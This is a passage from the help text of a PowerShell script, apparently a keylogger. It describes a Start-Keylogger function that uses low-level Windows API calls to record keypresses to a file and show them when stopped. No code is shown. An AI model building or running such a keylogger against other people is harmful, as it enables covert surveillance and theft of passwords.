    .DESCRIPTION
        By accessing the Windows low-level API functions, a script can constantly
        monitor the keyboard for keypresses and log these to a file. This effectively produces a keylogger.
        Run the function Start-Keylogger to start logging key presses. Once you
        stop the script by pressing CTRL+C, the collected key presses are displayed
